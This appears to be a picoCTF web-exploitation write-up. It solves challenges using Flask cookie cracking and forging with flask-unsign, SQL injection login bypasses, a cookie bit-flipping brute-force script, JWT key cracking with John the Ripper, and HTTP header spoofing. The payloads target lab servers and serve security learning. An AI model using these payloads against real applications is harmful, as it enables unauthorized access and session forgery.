Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:44693/ ``` `server.py` ```py= from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(__name__) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) @app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp if __name__ == "__main__": app.run() ``` We see that to read the `flag`, the session must contain `very_auth=admin`. In this challenge, `authentication` is handled through a `Flask session cookie`. According to the source code, the `secret_key` is randomly chosen from a fixed list named `cookie_names` ``` cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] ``` I wrote a `script` to generate a simple wordlist for the `secret_key` values ```py= cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] flag = "" for i in cookie_names: flag += i + '\n' with open('secret.txt', 'w') as f: f.write(flag) ``` use `flask-unsign` tool ![image](https://hackmd.io/_uploads/r1TXaNockl.png) `payload` ``` flask-unsign --unsign --cookie "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Z7286w.HI1jct9eu6VURYKhRWpRwwlFcp4" --wordlist secret.txt ``` ![image](https://hackmd.io/_uploads/ByaVpEs9Jg.png) `secret_key = butter` Okay, now we just need to modify the `very_auth` value to admin, and we're done! `payload` ``` flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "butter" ``` ![image](https://hackmd.io/_uploads/Skgg04jqJg.png) `session = eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Z7290w.GawqsHDVAB5fqmDen1e2E_ZQ1G4` ![image](https://hackmd.io/_uploads/BkqrREiq1e.png) `Flag: picoCTF{pwn_4ll_th3_cook1E5_dbfe90bf}` ### Web Gauntlet 2 `Description` ``` This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:57359/ Filter: http://mercury.picoctf.net:57359/filter.php ``` `filter.php` ``` Filters: or and true false union like = > < ; -- /* */ admin ``` In this challenge, we need to log in as an `admin`, but the `filter` is quite strict. To bypass it, I used string concatenation in the `username` field, while the `password` field determines whether the login succeeds or fails. ``` username: ad'||'min => query: SELECT username, password FROM users WHERE username='ad'||'min' AND password='' => username: admin ``` ``` password: a' is not 'b => query: SELECT username, password FROM users WHERE username='ad'||'min' AND password='a' is not 'b' => username: admin password: true ``` ![image](https://hackmd.io/_uploads/HJ0_8Pnq1e.png) and after check `filter.php` in `burpsuite` ![image](https://hackmd.io/_uploads/B15AUP25Jg.png) `Flag: picoCTF{0n3_m0r3_t1m3_d5a91d8c2ae4ce567c2e8b8453305565}` ### Some Assembly Required 1 `Description` ``` http://mercury.picoctf.net:40226/index.html ``` `G82XCw5CX3.js` ```py= const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);} ``` After accessing the website, I first checked the source code and noticed an unusual `JavaScript` file. When I accessed it, I found that the code was `obfuscated`. I then used [this web](https://deobfuscate.relative.im/) to `deobfuscate` it and analyze further. ```py= const _0x402c = [ 'value', '2wfTpTR', 'instantiate', '275341bEPcme', 'innerHTML', '1195047NznhZg', '1qfevql', 'input', '1699808QuoWhA', 'Correct!', 'check_flag', 'Incorrect!', './JIFxzHyW8W', '23SMpAuA', '802698XOMSrr', 'charCodeAt', '474547vVoGDO', 'getElementById', 'instance', 'copy_char', '43591XxcWUl', '504454llVtzW', 'arrayBuffer', '2NIQmVj', 'result', ] const _0x4e0e = function (_0x553839, _0x53c021) { _0x553839 = _0x553839 - 470 let _0x402c6f = _0x402c[_0x553839] return _0x402c6f } ;(function (_0x76dd13, _0x3dfcae) { const _0x371ac6 = _0x4e0e while (true) { try { const _0x478583 = -parseInt(_0x371ac6(491)) + parseInt(_0x371ac6(493)) + -parseInt(_0x371ac6(475)) * -parseInt(_0x371ac6(473)) + -parseInt(_0x371ac6(482)) * -parseInt(_0x371ac6(483)) + -parseInt(_0x371ac6(478)) * parseInt(_0x371ac6(480)) + parseInt(_0x371ac6(472)) * parseInt(_0x371ac6(490)) + -parseInt(_0x371ac6(485)) if (_0x478583 === _0x3dfcae) { break } else { _0x76dd13.push(_0x76dd13.shift()) } } catch (_0x41d31a) { _0x76dd13.push(_0x76dd13.shift()) } } })(_0x402c, 627907) let exports ;(async () => { const _0x48c3be = _0x4e0e let _0x5f0229 = await fetch(_0x48c3be(489)), _0x1d99e9 = await WebAssembly[_0x48c3be(479)]( await _0x5f0229[_0x48c3be(474)]() ), _0x1f8628 = _0x1d99e9[_0x48c3be(470)] exports = _0x1f8628.exports })() function onButtonPress() { const _0xa80748 = _0x4e0e let _0x3761f8 = document.getElementById(_0xa80748(484))[_0xa80748(477)] for (let _0x16c626 = 0; _0x16c626 < _0x3761f8.length; _0x16c626++) { exports[_0xa80748(471)](_0x3761f8[_0xa80748(492)](_0x16c626), _0x16c626) } exports.copy_char(0, _0x3761f8.length) exports[_0xa80748(487)]() == 1 ? (document[_0xa80748(494)](_0xa80748(476))[_0xa80748(481)] = _0xa80748(486)) : (document[_0xa80748(494)](_0xa80748(476))[_0xa80748(481)] = _0xa80748(488)) } ``` I felt that it didn’t help much, but it did make the code easier to read, so it was acceptable. Here, we see that there is an `endpoint` listed in `_0x402c`. When I accessed it via the `URL`, it downloaded a file. Using the `strings` command (or opening it with `Notepad`), I was able to find the `flag` ![image](https://hackmd.io/_uploads/rkcmtP3q1x.png) ![image](https://hackmd.io/_uploads/SJldtPn5Je.png) `Flag: picoCTF{cb688c00b5a2ede7eaedcae883735759}` ### Who are you? `Description` ``` Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/ ``` Okay, in this challenge, we need to add specific information to the request to fully authenticate and retrieve the `flag` * **step 1** ![image](https://hackmd.io/_uploads/rJn89w2ckg.png) we can bypass this by modifying the `User-Agent: PicoBrowser` values to simulate a different browser. ![image](https://hackmd.io/_uploads/rJskiv35Jl.png) Done! * **step 2** In step 2, we need to specify the referring `URL` by setting the `Referer:` header to the required `URL` ![image](https://hackmd.io/_uploads/rJbsiwn5yg.png) Done. * **step 3** In step 3, we need to use the `Date:` header to set the time to 2018 ![image](https://hackmd.io/_uploads/H1jlhw3qJx.png) Done. * **step 4** In step 4, we need to verify whether the user is being tracked by adding the `DNT:` (Do Not Track) header. ![image](https://hackmd.io/_uploads/BkO9pDncke.png) Done. * **step 5** In step 5, we need to specify that the user is from `Sweden` by adding a `Swedish IP address` in the `X-Forwarded-For:` header ![image](https://hackmd.io/_uploads/SyoIAw2qyg.png) i used `X-Forwarded-For: 102.177.146.1` ![image](https://hackmd.io/_uploads/SyeYRwnqkg.png) Done. * **step 6** In step 6, to specify the language, we use the `Accept-Language:` header. information of language at [here](https://learn.microsoft.com/en-us/graph/search-concept-acceptlanguage-header) ![image](https://hackmd.io/_uploads/ByhFJOnqkl.png) Done. `Flag: picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}` ### Some Assembly Required 2 `Description` ``` http://mercury.picoctf.net:23889/index.html ``` This challenge is similar to `Some Assembly Required 1` , but when inspecting the file, there was no readable content except for some strange characters at the end, which could be an encrypted `flag`. After some research, I found the `wasm-decompile` tool, which is used to analyze `WebAssembly binary files`. I ran it and obtained the following code: ```py= export memory memory(initial: 2, max: 0); global g_a:int = 66864; export global input:int = 1072; export global dso_handle:int = 1024; export global data_end:int = 1328; export global global_base:int = 1024; export global heap_base:int = 66864; export global memory_base:int = 0; export global table_base:int = 1; table T_a:funcref(min: 1, max: 1); data d_xakgKNsl8nmii0j9nm8i0njn9u(offset: 1024) = "xakgK\Nsl<8?nmi:<i;0j9:;?nm8i=0??:=njn=9u\00\00"; export function wasm_call_ctors() { } export function strcmp(a:int, b:int):int { var c:int = g_a; var d:int = 32; var e:int = c - d; e[6]:int = a; e[5]:int = b; var f:int = e[6]:int; e[4]:int = f; var g:int = e[5]:int; e[3]:int = g; loop L_b { var h:ubyte_ptr = e[4]:int; var i:int = 1; var j:int = h + i; e[4]:int = j; var k:int = h[0]; e[11]:byte = k; var l:ubyte_ptr = e[3]:int; var m:int = 1; var n:int = l + m; e[3]:int = n; var o:int = l[0]; e[10]:byte = o; var p:int = e[11]:ubyte; var q:int = 255; var r:int = p & q; if (r) goto B_c; var s:int = e[11]:ubyte; var t:int = 255; var u:int = s & t; var v:int = e[10]:ubyte; var w:int = 255; var x:int = v & w; var y:int = u - x; e[7]:int = y; goto B_a; label B_c: var z:int = e[11]:ubyte; var aa:int = 255; var ba:int = z & aa; var ca:int = e[10]:ubyte; var da:int = 255; var ea:int = ca & da; var fa:int = ba; var ga:int = ea; var ha:int = fa == ga; var ia:int = 1; var ja:int = ha & ia; if (ja) continue L_b; } var ka:int = e[11]:ubyte; var la:int = 255; var ma:int = ka & la; var na:int = e[10]:ubyte; var oa:int = 255; var pa:int = na & oa; var qa:int = ma - pa; e[7]:int = qa; label B_a: var ra:int = e[7]:int; return ra; } export function check_flag():int { var a:int = 0; var b:int = 1072; var c:int = 1024; var d:int = strcmp(c, b); var e:int = d; var f:int = a; var g:int = e != f; var h:int = -1; var i:int = g ^ h; var j:int = 1; var k:int = i & j; return k; } function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = e[3]; var h:int = 8; var i:int = g ^ h; e[3] = i; label B_a: var j:int = e[3]; var k:byte_ptr = e[2]; k[1072] = j; } ``` we see: ``` data d_xakgKNsl8nmii0j9nm8i0njn9u(offset: 1024) = "xakgK\Nsl<8?nmi:<i;0j9:;?nm8i=0??:=njn=9u\00\00"; ``` After consulting `ChatGPT` to understand how the program works, I saw that it takes user input and compares it with a referenced value. At the end of the code, there was an `XOR` operation. Although I didn’t fully understand it at first, I tried `XORing` that data with the program itself, and I was able to retrieve the `flag`. ```py= data = "xakgK\\Nsl<8?nmi:<i;0j9:;?nm8i=0??:=njn=9u\00\00" flag="" for i in data: flag+= chr(ord(i) ^ 8) print(flag) #picoCTF{d407fea24a38b1237fe0a587725fbf51} ``` `Flag: picoCTF{d407fea24a38b1237fe0a587725fbf51}` command of `wasm-decompile` tool at [here](https://webassembly.github.io/wabt/doc/wasm-decompile.1.html) ### Web Gauntlet 3 `Description` ``` Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:32946/ Filter: http://mercury.picoctf.net:32946/filter.php ``` `filer.php` ``` Filters: or and true false union like = > < ; -- /* */ admin ``` I used a paylaod similar to the one in the `Web Gauntlet 2` challenge. ``` username: ad'||'min password: a' is not 'b' ``` ![image](https://hackmd.io/_uploads/ByJB9u291x.png) `Flag: picoCTF{k3ep_1t_sh0rt_ef4a5b40aa736f5016b4554fecb568d0}` ### More Cookies `Description` ``` I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:21553/ ``` In this challenge, since I'm not very good at cryptography, I used a script by [HHousen](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/More%20Cookies/README.md) to decrypt the value and find the `flag` `script` ```py= import requests from base64 import b64decode, b64encode from tqdm import tqdm # Bit flip code based on https://crypto.stackexchange.com/a/66086. # we need to decode from base64 twice because the cookie was encoded twice. def bit_flip(pos, bit, data): raw = b64decode(b64decode(data).decode()) list1 = bytearray(raw) list1[pos] = list1[pos] ^ bit raw = bytes(list1) return b64encode(b64encode(raw)).decode() cookie = "UEFpcTdpaEtpRkpraThPUXdKdVBQZE1JT2ZPcVcxVGo5dkVIdUpoWUpkS0U4enlrNnJzOWdFTDRLdEZ0WVVmUXQ0Kys5VFdEWDNPZVRnZFJzV1VGMml4d1Fmc1pIQU9JbDd0azBUa1ozbC9GYlo5UXJId1VFRVRxc1ZGTkZra0I=" for position_idx in tqdm(range(10), desc="Bruteforcing Position"): # The 96 really should be 128 to test every bit, but 96 worked for me. for bit_idx in tqdm(range(96), desc="Bruteforcing Bit"): auth_cookie = bit_flip(position_idx, bit_idx, cookie) cookies = {'auth_name': auth_cookie} r = requests.get('http://mercury.picoctf.net:21553/', cookies=cookies) if "picoCTF{" in r.text: # The flag is between `<code>` and `</code>` print("Flag: " + r.text.split("<code>")[1].split("</code>")[0]) break ``` `Flag: picoCTF{cO0ki3s_yum_2d20020d}` ### It is my Birthday `Description` ``` I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:57247/ ``` In this challenge, we need to find two different files that produce the same hash value to bypass the check. The system is built with PHP, and in PHP, there is a phenomenon called `magic hash` in comparisons. We can exploit this behavior to create two files with different content that are considered equal when compared. Docs at [here](https://php-dictionary.readthedocs.io/en/latest/dictionary/magic-hash.ini.html) ![image](https://hackmd.io/_uploads/rkvOXYh91x.png) ![image](https://hackmd.io/_uploads/ByK3Etn5Je.png) ![image](https://hackmd.io/_uploads/HyBJNK3qyl.png) ![image](https://hackmd.io/_uploads/Skda4Fh9yx.png) `Flag: picoCTF{c0ngr4ts_u_r_1nv1t3d_40d81ca2}` ### Web Gauntlet `Description` ``` Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:19593/ http://jupiter.challenges.picoctf.org:19593/filter.php ``` In this challenge, we need to bypass five steps. * **step 1** ``` Round1: or payload: username: admin' -- password: {anything} ``` * **step 2** ``` Round2: or and like = -- payload: username: admin password: a' is not 'b ``` * **step 3** ``` Round3: or and = like > < -- payload: username: admin'; password: {anything} ``` * **step 4** ``` Round4: or and = like > < -- admin payload: username: ad'||'min password: {anything} ``` step 5 like step 4 ![image](https://hackmd.io/_uploads/B1ev_F25ye.png) `Flag: picoCTF{y0u_m4d3_1t_cab35b843fdd6bd889f76566c6279114}` ### Irish-Name-Repo 1 `Description` ``` There is a website running at https://jupiter.challenges.picoctf.org/problem/33850/ (link) or http://jupiter.challenges.picoctf.org:33850. Do you think you can log us in? Try to see if you can login! ``` I accidentally stumbled upon `login.html` while searching through the source code. I clicked on it and used `SQL injection` to log in, which unexpectedly led me to the `flag` `payload` ``` username: admin' ; pasword: {anything} ``` `Flag: picoCTF{s0m3_SQL_f8adf3fb}` ### Client-side-again `Description` ``` Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/56816/ (link) or http://jupiter.challenges.picoctf.org:56816 ``` While searching the source code, I found an obfuscated JavaScript snippet and decoded it by [this web](https://deobfuscate.relative.im/) ```py= var _0x5a46 = [ '37115}', '_again_3', 'this', 'Password Verified', 'Incorrect password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this', ] ;(function (_0x4bd822, _0x2bd6f7) { var _0xb4bdb3 = function (_0x1d68f6) { while (--_0x1d68f6) { _0x4bd822.push(_0x4bd822.shift()) } } _0xb4bdb3(++_0x2bd6f7) })(_0x5a46, 435) var _0x4b5b = function (_0x2d8f05, _0x4b81bb) { _0x2d8f05 = _0x2d8f05 - 0 var _0x4d74cb = _0x5a46[_0x2d8f05] return _0x4d74cb } function verify() { checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')] split = 4 if (checkpass[_0x4b5b('0x2')](0, split * 2) == _0x4b5b('0x3')) { if (checkpass[_0x4b5b('0x2')](7, 9) == '{n') { if ( checkpass[_0x4b5b('0x2')](split * 2, split * 2 * 2) == _0x4b5b('0x4') ) { if (checkpass[_0x4b5b('0x2')](3, 6) == 'oCT') { if ( checkpass[_0x4b5b('0x2')](split * 3 * 2, split * 4 * 2) == _0x4b5b('0x5') ) { if (checkpass.substring(6, 11) == 'F{not') { if ( checkpass[_0x4b5b('0x2')](split * 2 * 2, split * 3 * 2) == _0x4b5b('0x6') ) { if (checkpass[_0x4b5b('0x2')](12, 16) == _0x4b5b('0x7')) { alert(_0x4b5b('0x8')) } } } } } } } } else { alert(_0x4b5b('0x9')) } } ``` Then, I referenced it in the array to complete the process `Flag: picoCTF{not_this_again_337115}` ### Irish-Name-Repo 2 `Description` ``` There is a website running at https://jupiter.challenges.picoctf.org/problem/53751/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://jupiter.challenges.picoctf.org:53751 ``` Another simple challenge that can be solved using an `SQL injection payload` ``` username: admin' -- password: {anything} ``` `Flag: picoCTF{m0R3_SQL_plz_c34df170}` ### JaWT Scratchpad `Description` ``` Check the admin scratchpad! https://jupiter.challenges.picoctf.org/problem/63090/ or http://jupiter.challenges.picoctf.org:63090 ``` I found a link to the `John the Ripper` tool, so I assumed I needed to crack the `JWT key` using `rockyou.txt` ``` command: john token --wordlist=../wordlist/rockyou.txt --format=HMAC-SHA256 ``` ![image](https://hackmd.io/_uploads/r1imTK3qJx.png) `secret_key: ilovepico` Now, we just need to create a JWT with the payload ``` { "user": "admin" } ``` and with secret_key just found `script` ```py= import jwt payload = {"user": "admin"} secret_key = "ilovepico" token = jwt.encode(payload, secret_key, algorithm="HS256") print(f"JWT Token: {token}") #JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.di2J1a0H3IhZtGmIfw7ltVq7sZL2orh8WIP1isDkgdw ``` ![image](https://hackmd.io/_uploads/Sk1YAY25Jg.png) `Flag: picoCTF{jawt_was_just_what_you_thought_f859ab2f}` ### picobrowser `Description` ``` This website can be rendered only by picobrowser, go and catch the flag! https://jupiter.challenges.picoctf.org/problem/26704/ (link) or http://jupiter.challenges.picoctf.org:26704 ``` We just need to set the browser to `picobrowser`, and we're done. ``` User-Agent: picobrowser ``` ![image](https://hackmd.io/_uploads/ryPr1q3cJx.png) `Flag: picoCTF{p1c0_s3cr3t_ag3nt_e9b160d0}` ### Irish-Name-Repo 3 `Description` ``` There is a secure website running at https://jupiter.challenges.picoctf.org/problem/54253/ (link) or http://jupiter.challenges.picoctf.org:54253. Try to see if you can login as admin! ``` After several attempts, I realized that the `password` was `encrypted` using a `Caesar cipher` with a `key of 13 (ROT13)`. Then, I reused the payload: `' BE 1=1 --` to bypass authentication. ![image](https://hackmd.io/_uploads/rJn6Z9nckg.png) `Flag: picoCTF{3v3n_m0r3_SQL_7f5767f6}` ## Hard